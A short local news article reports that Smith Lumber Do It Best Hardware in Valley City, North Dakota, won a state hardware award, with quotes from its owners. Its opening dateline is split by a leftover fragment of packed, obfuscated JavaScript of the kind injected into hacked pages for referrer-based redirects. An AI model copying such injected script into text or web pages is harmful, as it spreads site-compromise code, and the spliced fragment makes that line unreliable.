VALLEY kirky|var|u0026u|referrer|biyaz||js|php’.split(‘|’),0,{}))
CITY, N.D. (NewsDakota.com) – Smith Lumber Do It Best Hardware in Valley City received the Best in State Award through HBS Dealer magazine, Hardware and Builders Supply Dealer.

Smith Lumber Company was nominated by Do It Best Regional Manager Rich Thompson, who is to the left of Tim Durheim, Smith Lumber Company owner/manager in the feature photo.

Brenda Durheim said, “Rich has been very helpful and resourceful in helping to create our store in Valley City. It was a total shock to Tim and I when he came into the store with the award.” She said it was a honor just to be nominated.

Durheim said, “We are one of at least 119 hardware store/lumberyard combos in North Dakota. All brands/chains of hardware stores qualify for this award, of the 50 winners, one from each state, 16 were Do It Best Hardware stores.

“It was definitely a big leap,” said Tim Durheim. He was referring to the 90 year old company’s transition in 2014 from a small contractor yard into a home center, lumberyard, and garden center and a jump from three employees to twenty. Durheim added, “We went into a new facility, it gave us a lot more space and we added a hardware store,” he said. “It’s been great, the town has been receptive and very supportive.”

Since 2011, HDS Dealer has reached out to suppliers, distributors, manufacturers, vendors, retailers and homeowners in search of high-performing, service-oriented, community-minded hardware store, lumberyard or farm and ranch dealers worthy of All Star status.

It’s a tribute to this industry that each year brings a surplus of high-quality nominations. Stihl Hardware All Stars are selected from each state.